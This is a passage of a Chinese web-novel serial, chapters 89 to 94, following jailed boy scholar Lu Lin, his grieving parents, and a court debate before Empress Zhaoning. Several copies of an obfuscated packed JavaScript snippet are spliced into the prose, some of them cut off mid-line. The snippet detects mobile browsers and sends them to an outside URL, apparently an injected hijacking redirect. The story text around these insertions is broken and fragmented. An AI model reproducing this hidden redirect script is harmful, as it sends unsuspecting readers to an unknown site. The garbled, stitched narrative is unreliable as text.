县衙外,早已等候多时的卢老爷和三叔见大伯出来,满脸期待地迎了上去。 “爹,成了,今天过后,咱家和二房彻底断了关系了。” 大伯将文书递到卢老爷手上,后者展开一看,上面清清楚楚盖着县衙朱红大印。 “这文书您可得好好保管,到时候真有官府的人来咱家,这就是咱们的免死金牌。” 卢老爷闷声点头,目光看向从县衙内走出的二房夫妻俩。 两人各自背着一个大包袱,才一夜过去。 两人像是突然之间老了十来岁,尤其是二儿媳,以往那股爽朗泼辣的劲全没了,眼中满是担忧。 卢老爷张了张口,却突然卡住了,一时半会都不知道该怎么称呼。 从县衙里走出来的那一刻,就真的不一样了。 以前分家,那也还是一家人,血脉连着,根还在一起。 可这张文书一出,法理上,他们便再也不是父子。 卢老爷子心里五味杂陈。 本以为二房出了个读书种子,老卢家的日子眼瞅着就要蒸蒸日上,怎么好端端的,就惹上了谋逆这种滔天大祸。 这一别,说不定就是这辈子见的最后一面了。 想到这里,卢老爷子终于还是开了口: “老二啊。” “咱们父子一场,这辈子……也是缘分到头了。” 话音落下,卢老爷老泪四流,听到这话的卢厚也忍不住,眼泪夺眶而出。 可卢厚一想到还在府城大牢里受苦的璘哥儿,便死死地咬住了嘴唇,将悲痛硬生生咽回肚子里。 大伯心里还惦记着那间下水铺子,眼珠子一转,摆出一副悲痛的样子,开口道: “老二啊,你们这一走,爹娘就只有我和老三来服侍了。” “你也知道,我一直忙着读书,家里开支也大..老三也是地里刨食...” “咱们毕竟兄弟一场。” “要不……你跟柳府那边说一声,回头我和老三凑点钱,把那下水铺子接过来,也算是帮你尽一份孝心,你看如何?” 李氏一直沉默着,听到这话,才缓缓抬起头。 尽管眼睛红肿,但眼神却异常平静。 “铺子已经卖给夫人了。” “他大伯要是真有那个本事,能让夫人再转手卖给你,那是你的事。” 说完,便不再看他,转头对身旁的卢厚说道。 “当家的,时候不早了。” “夫人安排的马车,也差不多该到了,咱们走吧。” 卢厚点头,张了张嘴,沉默地看了看卢老爷好一会,这才摇头叹气离去。 卢老爷看着两人的背影,张了张嘴,却一个字也说不出来。 最终,只有一声长叹。 “哎,真是造孽啊!” ............. 与此同时 临安府大牢内。 潮湿阴冷的地面上,空气中混合着霉味、血腥与秽物的恶臭等各种刺鼻味道,令人胃酸翻涌。 过道两侧的牢房里,各式各样的犯人神情不一。 有杀人越货的江洋大盗,双眼赤红,死死盯着来来往往的狱卒。 有家破人亡的赌徒,蜷缩在角落,瑟瑟发抖。 也有因贪墨被抄家的官员,麻木地靠着冰冷的石墙,双目空洞。 咒骂声、哭喊声、铁链拖地的摩擦声,此起彼伏。 而走廊深处,最深处的一间牢房,却异常安静。 牢门紧锁,与其他牢房并没有不同。 里面却不见寻常囚犯的癫狂绝望。 一个身形单薄的少年,盘膝静坐在铺着干草的石床上。 他眉清目秀,衣衫虽有褶皱,却依旧干净,即便关在监牢深处,呼吸仍旧平稳。 这时,幽暗的走廊深处,传来一阵清晰的脚步声。 一个狱卒提着灯笼,小心翼翼地领着一个身着官袍的中年人,停在了这间安静的牢房门前。 “大人,此人便是卢璘。”狱卒躬身介绍。 牢门内的卢璘闻言,缓缓睁开双眼。 他看了一眼门外的中年人,随即又轻轻合上了眼,一点也不意外。 这几日,一波又一波的人前来。 有拍着桌子厉声审问的,有拿着各种刑具威吓的,也有循循善诱,许诺自己能免死的。 方式尽管不同,但目的相同。 都是逼迫自己承认府试第二场写出的《满江红》,是受了柳阁老的指使。 门外的中年人见卢璘这般无视,不配合的态度,不但不恼,反而发出一声轻笑,主动开口自我介绍: “本官周砚,来自京都大理寺。” “听闻临安府出了个十二岁便能写下传天下宏文的神童,心中实在好奇,便主动请缨前来。” “见你一面,方知闻名不如见面,此等风骨,若是就此埋没,未免太过可惜。” 周砚说着,示意身后的狱卒打开食盒。 几样精致的小菜,一壶温热的好酒,被一一摆在了牢门前。 卢璘闻言,缓缓睁开眼,心中微动。 看来,威逼不成,又换上怀柔的法子了。 “断头饭?” 周砚见卢璘终于有了回应,脸上笑意更浓。 同时心中对这个少年不免看轻了几分。 说到底,还是个孩子。 稍稍放低姿态,说几句好话,便能让他放下戒备。 “是不是断头饭,不在本官,而在你。” “你那首《满江含》,本官也看过了,当真是字字泣血,句句铿锵,拳拳报国之心,跃然纸上,实乃大才。” “只是……” 话锋一转,周砚摇头叹气,摆出一副惜才的口吻: “这最后一句,终究是模棱两可,容易被有心之人抓住把柄,大做文章。” “你还不知道吧,因为你这首词,柳阁老如今在朝堂之上,处境可是相当不妙。” 卢璘闻言淡笑,缓缓摇了摇头。 “柳阁老是柳阁老,我是我。” “《满江红》没有被任何人影响,不用费尽心思借此和柳阁老扯上关系。” 卢璘开口先定下谈话的基调,周砚的语言陷阱对他没起半点效果。 第90章 可怜天下父母心 周砚闻言脸上的笑意却愈发温和,一点都不恼,笑吟吟地开口夸奖道: “如此心态,确实难得。” “以后若是入了官场,定能走得更远。” 他挥了挥手,示意狱卒离去,给两人留下私密的空间。 待狱卒远远走开,守在走廊尽头后,周砚脸色才逐渐凝重。 “朝堂之上,为了你的事,诸公也是争论不休。” “有人欣赏你的才华,觉得你是国之栋梁,不应就此毁掉。” “自然,也有人觉得你年纪轻轻,心术便已不正,主张明正典刑,以儆效尤。” 周砚拿起酒壶,亲自为卢璘倒了一杯,又给自己倒了一杯。 “圣上也看了你的词,却至今没有表露半点态度。” “你知道,这说明什么吗?” “说明事情,还有挽救的余地。” 卢璘眼皮都未曾抬一下。 这些车轱辘话,耳朵都听起茧了。 来来回回,都试图用推心置腹的语气,来瓦解自己的心防。 周砚见卢璘油盐不进,决定换一种方式。 他脸上笑容不变,轻轻叹了口气,话锋陡然一转。 “你可知,我今日来这大牢之前,在临安府府衙门口,见到了什么?” 他顿了顿,目光直勾勾地盯着卢璘。 “我见到了一对夫妻跪在府衙之外。” “好像是叫……卢厚和李氏,你可认得?” 卢璘闻言,再度有了反应,眉头紧皱。 爹娘怎么来了? 周砚看到卢璘脸上明显的态度变化,心里暗笑,还以为你能有多好的养气功夫呢。 还不是有在乎的人。 他脸上的惋惜之色更浓,语气也变得沉重。 “可怜天下父母心啊。” “他们就在府衙门口的长街上跪着,一跪便是大半天,任凭差役如何驱赶,就是不肯离开。” “那么大的年纪,又不是什么读书人,身子骨看着也不算硬朗,也不知道还能撑多久。” 周砚摇着头,端起自己面前的酒杯,一饮而尽。 “我也是为人子女,更是为人父母。” “最是看不得这等场景。” 卢璘的眉毛微微挑起,打断了他接下来的长篇大论。 “大人有话,不妨直说。” 周砚闻言,从袖中缓缓掏出一本薄薄的册子,随手放在了牢门前的食案上。 册子的封皮是寻常青色,上面用工整的楷书写着四个字。 《北伐策》。 “这是柳阁老闲暇时写的一些随笔,尚未示人。” 周砚的手指,轻轻点在册子的封面上。 “很不巧,里面有一句‘旧朝已去,天阙当破’,与你那句‘收拾旧山河,朝天阙’,倒是异曲同工。” “要让旁人相信,你这首《满江红》,不是受了柳阁老的指使,怕是没人会信。” 卢璘翻开《北伐策》,眉头皱得更深了。 居然连柳阁老的笔记也能伪造,看来这群人不借此扳倒柳阁老不罢休了。 周砚的声音依旧不疾不徐,一副成竹在胸的态度: “明日,这本随笔就会出现在清河县柳府的书房里。” “到那时,你觉得还有证明清白的余地吗?” “卢璘,你是个人才,本官也不希望见到人才陨落,识时务者为俊杰,你现在坦白,说不定还能有一条生路。” “再说了,你也不想让年迈的父母,一直跪死在府衙门前吧。” 牢房内,陷入了长久的沉默。 许久。 卢璘抬起头,目光平静地迎上周砚的视线。 “我有一个要求。” “我想见见我爹娘。” 周砚见状,将面前的酒一饮而尽,放下酒杯后,露出笑容: “自然可以。” ...... 不到半个时辰,幽暗的过道上,便再次响起了脚步声。 狱卒提着灯笼走在前面,身后跟着两个步履蹒跚,神容憔悴的人。 来人正是卢璘爹娘。 李氏一见到被关在牢里的卢璘,憋了一路的思念和担忧再也克制不住。 早已红肿的双眼泪水决堤而出。 “璘哥儿!”李氏一把扑到冰冷的牢门上,双手死死抓住栅栏。 “咱们不读书了,再也不考什么科举了。” “我和你爹把铺子卖了,把钱都给这些官老爷,咱们一家三口回家,好好过日子,好不好?”声音里满是哭腔。 卢厚站在一旁,嘴唇紧抿,一言不发。 一双眼睛满是心疼,仔仔细细地打量着卢璘的全身,生怕璘哥儿在监牢里遭了什么罪。 好在见璘哥儿虽然神情疲惫,但瞧样子,还是完整,让卢厚心里松了口气。 他真怕再次见到璘哥儿,已经是被折磨得不成人样了。 卢璘看着爹娘为自己心急如焚的模样,心中也是一阵酸楚。 默默伸出手,隔着栅栏,轻轻握住了李氏冰凉的手。 卢璘没有说话,用安抚的眼神看着李氏,任由李氏带着哭腔默默发泄情绪。 过了许久,李氏剧烈起伏的情绪稍稍平复,哭声才渐渐止住。 卢璘这才开口,声音平稳: “爹,娘,你们怎么知道这事的。” 李氏抽了抽鼻子,将大伯如何连夜赶回村里报信,又如何催着全家去县衙出具断绝关系的文书,一五一十地全都说了出来。 说到最后,连大伯眼馋自家铺子的那点心思,也未曾遗漏。 卢璘听完,只是轻轻摇了摇头。 心里反倒没有太多波澜,只剩下一声叹息。 大伯还真是死性不改、 这么急不可耐地跳出来。 也好。 这次彻底断了关系,以后也不必再有任何来往了。 这时,一直沉默来老爹卢厚终于开了口: “璘哥儿,你不是去参加府试吗,怎么会跟谋逆扯上关系?” “来之前,柳府的老爷派人传话,说这事儿很复杂,劝我们别来。” “我和你娘知道,老爷和夫人肯定有他们的谋划,可……可爹娘实在放心不下你啊。” 看着爹娘满是担忧的眼神,卢璘也不想让两人再这般担惊受怕下去。 他瞥了一眼狱卒,见隔了点距离,心思也没放在这边,压低了声音,开口解释道: “爹,娘,你们不用担心,事情没有你们想的那么严重。” “夫子和另一位长辈已经动身去京都了,相信很快就会有消息传回来。” “你们今天见过我,就先回去吧。” 夫子和师伯王晋已经动身的消息,是前几日老爷托人送进来的。 也不知道夫子和师伯这一趟,进京进行得怎么样了。 事情会发展到这一步,确实有些出乎卢璘的意料。 他本以为,自己第三场的作答,已经足够明志,足以洗脱《满江红》带来的嫌疑。 没想到,还是被有心之人抓住了把柄,硬生生构陷成了如今的局面。 卢厚和李氏哪里能放得下心。 他们只当是儿子在说宽心话,故意安慰他们。 李氏用力地摇头,泪水又一次涌出。 “不回去!” “我们不回去了!” “文庙街的宅子,还有下水铺子都卖了。” “你去哪儿,我和你爹就跟着去哪儿。” 李氏紧紧抓着卢璘的手,满脸心疼。 “咱们一家三口,死也要死在一起。” 话音落下,卢厚也上前一步,伸出粗糙的大手,覆盖在妻子和儿子的手上。 一家三口的手,就这么隔着冰冷的牢门,紧紧地握在了一起。 第91章 抵达京都 卢璘心知,爹娘这般执拗,自己怕是劝不回去了。 他反手握住李氏的手,郑重其事地叮嘱道: “爹娘,柳府在府城有一处别院,你们出去寻到少爷,安心在别院等我。” “相信儿子,用不了多久,儿子就会安然无恙地出去。” 李氏听着儿子沉稳的声音,忐忑的心绪莫名安定了许多。 她重重地点了点头,泪眼婆娑地看着儿子: “好,娘信你。” “璘哥儿,你记住,你要是真出了什么意外,我和你爹,也绝不独活。” “小石头我已经托付给夫人了。” 卢璘闻言,鼻子一酸,爹娘这趟来府城,真是做了赴死的打算啊! 心里默默地叹了口气。 这时,狱卒脚步声在过道里响起。 “时辰到了,该走了。” 在狱卒的催促下,李氏和卢厚一步三回头,满眼担忧,身影慢慢消失在幽暗的走廊尽头。 牢房内,重归死寂。 卢璘脸色也逐渐沉了下来。 自己之所以答应周砚,不过虚与委蛇,拖延时间之策。 自己现在要做的就是等,和时间赛跑。 夫子和王师伯已经带着那份《圣策》九字的原稿,动身前往京都。 那才是真正的后手。 更重要的,是让爹娘亲眼看到自己无恙,免得他们过度忧心,做出什么傻事。 至于文庙街的宅子,还有那间下水铺子。 这些身外之物,卢璘从未放在心上。 只要他想,凭借脑海中超越这个时代几千年的商贾之道,让爹娘成为一方巨富,也并非难事。 只是,时机还远远未到。 这一次,自己只不过稍微卷入了一点朝堂漩涡,便引来杀身之祸。 权势倾轧之下,没有足够自保的实力。 再多的财富,也不过是引人觊觎的肥肉,随时可能被人生吞活剥。 与此同时,临安府通往京都的大运河之上。 一艘官船疾驰向北而行,这是打着钦天监旗号的官船,一路畅通无阻。 不过一天一夜,船头便已望见了雄踞于北方平原之上的天下第一城。 大夏 京都。 船只缓缓靠向码头,尚未停稳,人声鼎沸的喧嚣气息便扑面而来。 放眼望去,码头上桅杆如林,数不清的船只挤满了河道。 从南来北往的货船到装饰华丽的画舫,应有尽有。 沈夫子站在船头,看着这片京都繁华景象,重回故地,心中五味杂陈。 当初自己因朝堂斗争失败,被人撵狗一样撵出了京都,无比狼狈。 如今再回故地,心中难免感慨。 身旁的王晋,顺着沈夫子的目光望去,嘴角露出讥笑: “我记得你这木头离京的时候,可是信誓旦旦说,这辈子再也不踏足京都半步了。 “这才几年啊,又灰溜溜地回来了,真是有意思啊! 王晋眼神一挑,嘲讽味极为明显。 沈夫子闻言,顿时满头黑线,额角青筋跳动。 嘴贱的师兄,真是会专挑自己的痛处下手啊。 若非事出有因,沈夫子何尝愿意再回到这个伤心地。 沈夫子侧过头,没好气地瞪了王晋一眼。 “少说废话,正事要紧。 “璘哥儿还在临安府的大牢里关着呢。 王晋闻言,脸上的笑意淡去几分,两人这趟来,可是带着任务的。 两人一前一后走下船板,踏上了京都的地面。 沿着码头,才走了没多远,王晋便察觉到了一丝不对劲。 码头上力工,船夫等人一个个忙完了活计,纷纷匆匆忙忙地往西城区方向赶去。 王晋有些意外,自己不过离京短短数十日,这是又出了什么自己不知道的大事? 走到街面上,王晋拉住一个正要收摊的包子铺老板,开口询问道: “店家,这京都又有啥热**?怎么一个个有钱捡似的,往西城区去啊? 老板一瞧沈夫子和王晋一身读书人的打扮,态度也热情了几分,一边麻利地收拾着蒸笼,一边回答: “嗨,可不是捡钱吗? “我这都准备收摊了去凑热闹呢? 王晋和沈夫子对视一眼,越发疑惑,就听到老板继续解释: “七天前,京都里来了个什么西域使团,在西城摆下了擂台,说是要与我大夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可偏偏,无论是监正大人还是下面的人,谁也不敢真把他当个闲人看待。 王晋头也不抬,一副习惯了样子,点点头: “我就是个闲散人,搞那么大阵仗做什么。 说完,马上换了个口吻,硬生生地把话题扯到西域使团上面。 “跟我说说,具体怎么回事,圣上怎么会让佛门在皇城根开坛**?这不是掘我们读书人的根子吗? 第92章 昭宁帝! 监副闻言,脸上露出一丝苦笑,叹了口气。 “大夏万邦来朝,盛世景象,还请陛下开恩,让我等西域小国之人,见识见识上邦读书人的风采,也好知晓差距,回去好生学习。” “这是使团代表的原话。” 王晋嘴角勾起一抹讥诮,不屑摇头。 “话说得倒是谦卑。” “可这意思,不就是上门踢馆吗?” 监副点头,满脸无奈:“可不是嘛!” “圣上金口玉言,当着满朝文武和各国使臣的面,不好驳了人家的面子,便允了。” “本以为不过是走个过场。” “谁能想到,这帮西域和尚,还玩起了真的,派出了佛门金身罗汉。” “接连五日,翰林院、国子监,去了不知多少自诩满腹经纶的读书人,结果……没一个能赢得了他们。” “如今这事在民间传得沸沸扬扬,都快成一桩笑谈了。” “连金身罗汉都出场了?”王晋脸上笑意渐渐收敛。 金身罗汉,以大夏读书人体系,等同于大学士。 距离大儒仅一步之遥。 确实不是一般民间学子能应付得了的。 见王晋突然对这种事感兴趣,梅占雪也有些意外。 这可不像王师兄的性子啊,怎么会关注这些呢? “师兄,这可不像您啊,搁在以前,您不是巴不得天天去南城的勾栏瓦舍里听曲儿吗?” 王晋闻言干笑两声,摆了摆手,不着痕迹地岔开了话题。 “听曲儿哪天不能听。” “对了,明日可是日讲经筵?” 大夏的日讲经筵,是为皇帝讲经解史的最高规制。 能参与其中的,无一不是翰林院学士或者内阁大学士。 而钦天监,作为掌管天象历法之所,每次也必须派人前往,为圣上解读经史中的天人感应之说。 监副点了点头:“是,明日轮到咱们钦天监了。” “怎么了,师兄?” “这次派谁去?” “按着轮次,该是司历许大人去。” 王晋闻言,摇了摇头:“他不行。” “那老家伙的学问,糊弄糊弄外行还成,到了御前,只 会丢咱们钦天监的脸。 顿了顿,王晋一副随意的口吻继续说道: “这样吧。 “我也许久没参加过日讲经筵了,正好趁此机会,活动活动筋骨。 “把许司历的名字,换成我的。 梅占雪闻言,微微发愣,眼中有些意外。 王师兄这是……转性了? 以前这种抛头露面的差事,他是躲都来不及。 今天这是太阳打西边出来了? 监副虽然是钦天监的二号人物,可对上文位大儒的王晋,还真没有拒绝的底气。 他迟疑了片刻,最终还是躬身应下。 “是,师兄,我这就去安排。 带着一脑袋的困惑,梅占雪默默退去。 屋子里,再次恢复了安静。 一直沉默的沈夫子这才叹了口气,轻声开口道: “师兄,能不能把你师父,我弟子,从临安府的大牢里捞出来。 “可就全看你明日在御前的发挥了。 王晋听到沈夫子又拿这绕口的辈分来打趣自己,顿时吹胡子瞪眼。 “滚滚滚! 翌日,文华殿。 日讲经筵如期举行。 担任日讲官的翰林院学士陈斯,以及经筵总裁,内阁次辅柳拱早已到齐,安静等待圣上的到来。 翰林陈斯立于次辅柳拱不远处,目光不着痕迹地在柳阁老身上瞥了一眼。 见柳阁老神色如常,陈斯有些意外。 柳阁老当真是沉得住气啊。 都火烧眉毛了,竟还有心思来参加这日讲经筵。 如今满朝上下,谁人不知柳阁老正处在风口浪尖。 他一手力荐的镇北将军庞盛,被指控拥兵自重,现关押在诏狱之中,生死未卜。 连他府上的一个小小书童,都在临安府府试中,公然写下那等大逆不道的反诗。 桩桩件件,都和柳阁老脱不开关系。 这等境地,寻常人怕是早已焦头烂额,闭门谢客。 柳阁老还有心思来担任经筵总裁,要不说人家能当次辅呢! 不远处,柳拱神色淡然,一身绯色官袍,身形站得笔直,眼鼻观心。 光从他脸上,确 实看不出半分他此刻所面临的危局。 就在这时殿外传来轻微的脚步声。 一名身着钦天监官袍的中年人缓步走入文华殿。 陈大人看了一眼眉头微皱钦天监的人怎么换了张生面孔。 以往参加经筵日讲的都是那几个老家伙。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“大夏立身之本都丢得一干二净了吗?” 第93章 此事不难 满殿文武闻言,顿时噤若寒蝉。 “臣等惶恐,请圣上息怒!” 以次辅柳拱为首,众臣齐齐躬身。 王晋也不例外,弯着身子,心里却在暗自撇嘴。 当初答应西域使团开坛论道,金口玉言的是你。 现在眼看着大夏读书人输得一败涂地,脸上挂不住了,又来怪罪臣子。 这皇帝,当得可真是轻松。 上嘴皮一碰下嘴皮,底下的人就得跑断腿去给你擦屁股。 去哪说理去。 王晋心里腹诽,愈发觉得这朝堂就是泥潭,多待一刻都浑身难受。 要不是为了璘哥儿,自己是真不想趟这个泥潭。 御座之上,昭宁帝冷眼扫过阶下众人,凤唇轻启: “息朕的怒,容易。” “息天下人的怒,何其难?” “朕倒是想问问诸位爱卿,光是西域使团第一个问题,便将我大夏的读书人驳得体无完肤。” “你们让天下百姓,如何看待我大夏的读书人?” 西域使团开坛论道的第一问,早已传遍了京都的大街小巷。 仁义只是写在书上,却没有用在治世之上。 看似烈火烹油的大夏盛世,实则饥民遍地,卖儿鬻女。 官府忙着征收各种税,地方豪强兼并土地。 本该为民**的儒生,却只会在诗词歌赋里,歌颂太平盛世。 光是第一问,一个接一个的读书人上台,却被西域使团驳得哑口无言。 什么才是读书人? 读的又是什么书? 殿内,更安静了。 之前还敢开口“圣上息怒”的臣子,此刻更是连呼吸都小心翼翼,生怕触了圣上霉头。 这种情况下,又是柳阁老硬着头皮再次站了出来。 他迎着昭宁帝冰冷的目光,躬身开口: “启奏圣上。” “我大夏读书人藏龙卧虎,只是不屑与那撮尔小国一般见识,逞口舌之利罢了。” “此前下场的,多是些民间学子,连一位真正的翰林都未曾出面,自然代表不了我大夏读书人的真正水准。” 这话一出,昭宁帝冷不丁的笑出了声,凤眼一抬,笑声满是讥 讽: “哦?” “那依柳阁老的意思谁又能代表我大夏的读书人?” “不如就由柳阁老这个真正的读书人来替朕也替天下人解一解惑?” 昭宁帝身子微微前倾死死地盯着柳拱: “为何我大夏的读书人只会空谈仁义道德。” “而我大夏的江山却已是满目疮痍?” “朕记得柳阁老在翰林院也待了数十载了吧?” “不知柳阁老算不算得上是真正的翰林?” 文华殿内再次安静下来。 正面抗着昭宁帝的压力柳阁老依旧养气功夫到位面色如常同时心里默默思索。 圣上这话当然不可能是真的要让自己下场与西域使团辩经。 他身为大夏次辅即便赢了也是以大欺小胜之不武传出去反倒成了笑柄。 圣上真正恼怒的是大夏年轻一辈的读书人竟被西域使团衬得如此不堪。 此次祝寿的西域使团明面上是金身罗汉坐镇可真正下场辩经的不过是一名佛门沙弥。 佛门体系中 可就是一个小小沙弥却将天子脚下一个个自诩满腹经纶的举人进士都驳得哑口无言。 这才是圣上龙颜大怒的根源。 所以这场论道不仅要赢。 更要赢得光彩。 赢得让天下人看看我大夏的读书人究竟是何等风采。 读书人之辩何为读书人? 想到这个问题柳阁老脑海中下意识地闪过了一个少年的身影。 何为读书人? 难道还有比那篇《圣策九字》更好的回答吗? 看来到头来解决璘哥儿谋逆罪一事最终还是要落到璘哥儿自己身上了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453143|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿内翰林陈斯眼角的余光始终没有离开过柳拱。 他看着不远处被圣上一步步逼问施压的柳阁老心中冷笑。 柳阁老啊都这把年纪了也该到体面致仕的时候了。 圣上对你都这个态度了还恋栈有什么意义。 而此时却见柳拱不仅没有被昭宁帝劈头盖脸责怪的惶恐反倒是微微躬身嘴角一笑: “启奏圣上微臣身为翰林自然算得上是真正的翰林。” “说来惭愧微臣久居翰林之位 一番话先是自嘲回答昭宁帝的问题。 接着众人就听到柳阁老话锋一转: “圣上其实要赢下这场论道不难。” “要体现我大夏读书人的水准更不难。” “我大夏藏龙卧虎何须微臣这把老骨头亲自下场。” “便是老臣家中一稚童也足以胜过西域使团为我大夏扬名!” 此言一出满殿哗然。 御座之上的昭宁帝柳眉微蹙。 家中稚童? 还未等昭宁帝发问一直冷眼旁观的翰林陈斯闻言却先一步站了出来。 “柳阁老此言差矣!” “你说的莫不是在临安府府试中写下‘收拾旧山河朝天阙’那等反诗的卢璘?” “此等包藏祸心图谋不轨的乱臣贼子也配代表我大夏的读书人?” “若是让他下场岂不是让我大夏沦为天下笑柄!” “还是说柳阁老暗藏私心想借此洗脱家中书童谋逆一罪?” 陈斯很清楚想通过谋逆罪来搬到柳阁老不现实。 三朝老臣圣上不可能相信柳阁老会谋逆。 他不需要真的让圣上相信柳阁老谋逆。 那种事本就是天方夜谭。 他要做的只是不断地将卢璘这桩案子与柳阁老捆绑在一起。 只要坐实了柳阁老家风不正识人不明的印象便足以给圣上一个罢免他的理由。 柳拱一日不倒座师便一日没有更进一步的可能。 第94章 非卢璘不可! 御座之上,昭宁帝听到卢璘二字,眼中没起一丝波动。 她看过卢璘的卷子。 无论是县试那篇传天下《圣策九字》,还是府试中那两首战诗词。 先不说争议如何。 光是字里行间,体现出来的才气和学问,昭宁帝是欣赏的。 确实是百年难得一见的好苗子。 可惜了,尽管是读书人的好苗子,但终究是缺了些运气。 偏偏生在了这个时候,又偏偏是柳府的人。 柳拱老了,心气与手段都老了,和宴居的斗争中处处被动,尽显疲态。 这朝堂可容不下一家独大的局面。 自己也需要一个真正能为自己所用,称心如意的次辅,来帮她坐稳这天下。 柳拱,该退了。 至于卢璘这等小人物的结局,便也只是大势下的一粒尘埃,无关紧要。 昭宁帝的目光从柳拱身上移开,最终落在了翰林陈斯的身上,轻轻颔首,朱唇微张: “陈爱卿所言有理。” “既然卢璘身负谋逆之嫌,此事便暂且搁置。” “另议人选吧。” 陈斯闻言,心里暗喜。 此前一直圣上对卢璘的谋逆罪一直没有表现出明显的态度,此言一出,对卢璘谋逆一案,差不多画上尾声了。 柳阁老闻言一愣,随后微微躬身,正欲开口解释。 这时,此前一言不发,站在角落跟个透明人似的王晋却向前一步,率先站了出来。 王晋朝着御座的方向,微微一拱手: “陛下。” “此事,非卢璘不可。” 话音未落,所有人目光看向王晋。 还没等昭宁帝开口,翰林陈斯直接打断:“一派胡言!” “陛下,卢璘戴罪之身,何德何能担此大任!还非他不可?” “陛下,此人言语狂悖,请陛下三思!” 昭宁帝没有理会陈斯,略带意外的目光落在王晋身上。 王晋的出现,本就让她意外。 他会主动参与到朝堂议事之中,更是让她始料未及。 看着王晋那张依稀能看出年轻时风采的脸,昭宁帝神情恍惚。 眼前的王晋的 身影和记忆中的最疼爱自己的长姐身影逐渐重叠。 你王晋还好好的活着,可朕的长姐却永远回不来了。 一丝怅然在心底划过,昭宁帝抬了抬手,制止了还要继续**的陈斯。 “让他说。” 王晋迎上昭宁帝的目光,缓缓开口: “陛下,臣以为此次论道非卢璘不可,原因有三。” “其一,文位相近。” “西域使团下场辩经的,是佛门沙弥,其位等同于我大夏的秀才。” “卢璘虽还未获秀才文位,但已去不远,由他出战,赢了,西域使团心服口服,再也挑不出半点由头。这是堂堂正正的阳谋。” 王晋语气陡然加重: “其二,此战,我大夏已无退路,只能胜,不能败。” “民怨已然沸腾,读书人在百姓心中的根基,正被一寸寸挖断。” “再输下去,动摇的,便是我大夏的立国之本。” “要么不战,要么,便需有必胜之人。” “而卢璘,有此把握。” “其三,也是最重要的一点。” 王晋的声音微微一顿,目光扫过全场。 “何为读书人?还有比《圣策九字》更好的回答吗?” “他此番出战,不仅是与西域论道,更是要向天下人阐明,我大夏的读书人,为何读书,所求何道!” “此战,是为救我大夏读书人于水火之中!” 陈斯听着这番话,只觉得荒谬至极,再也忍不住,厉声打断。 “一派胡言!” “区区一介黄口孺子,竟被你说成了我大夏的救世主?” “难不成,一场小小的论道,还能决定我大夏千万读书人的生死不成!” 王晋缓缓摇头,淡笑摇头,轻描淡写地开口: “还真能。” 陈斯冷笑一声,正要开口。 却见王晋再次朝着御座上的女帝,躬身一拜。 “陛下。” “臣方才所言,并非为卢璘开脱,也并非危言耸听。” “而是此事,已关乎我大夏国本。” 此言一出,翰林陈斯再也按捺不住,脸上讥讽之色更浓。 “区区一个蒙生小儿 ,柳阁老家的书童,怎么就和国本扯上关系了? 陈斯一副义正辞严的态度,目光捕捉痕迹瞥了一眼柳阁老。 他要将王晋也钉在柳党这个标签上。 御座之上,昭宁帝凤眸微眯,看不出喜怒。 王晋却对陈斯的攻讦置若罔闻,平静地开口: “陛下可还记得,月余之前,临安府学政魏长青曾上过的密折? 昭宁帝眉头微皱起,王晋提得这事,她当然记得。 密折上说,临安府地界,出现了一桩怪事。 府内读书人的才气,凭空被截断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453144|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一层。 甚至文位越低,截断的越多。 此事太过匪夷所思,内阁与钦天监讨论了数日,也未能得出一个所以然来。 最终只能定性为地方异象,派遣钦天监官员前往查探,至今未有结果。 王晋见昭宁帝没有开口,继续说道:“臣此次回京,并非私事。 “临安府的异象,已经失控了。 “就在三日前,异象已经蔓延到了与临安府接壤的永安府。 话音落下,满殿死寂。 之前还抱着看戏心态的陈斯,脸上的讥讽瞬间凝固,满脸骇然。 其余臣子,无不色变。 临安府才气被截断一事,在座的都是朝堂重臣,或多或少都有耳闻。 本以为只是控制在临安府一地,这才过去多久? 不到一个月! 就已经从临安府,蔓延到了隔壁的永安府! 再过半年,岂不是整个江南都要被波及? 再过几年,这天下…… 一股寒意,从所有人的脊梁骨升起。 这才是真正动摇国本的滔天大祸! 翰林院、国子监,文位翰林以上,自然不会受到影响。 可大夏的根基,是那千千万万的秀才、举人、进士! 他们才是构成这座庞大王朝的基石。 若是连这些读书人的才气都保不住,科举取士便成了一句空话,儒学治国的根本,也将彻底崩塌! 昭宁帝的脸色,瞬间沉了下去。 凤眸之中,寒意刺骨。 她当然明白这意味着什么。 这比边疆战败,比藩王作乱,都要严重百倍。 那是从根子上,要掘断她大夏的龙脉! “此事,与卢璘出战,有何干系? 昭宁帝冷声开口,目光直视王晋。 殿内所有人的目光,也齐刷刷地落在了王晋身上。 是啊。 这等毁天灭地的大祸,和卢璘能有什么关系? 陈斯也从震惊中回过神来,张了张嘴,正欲发问。 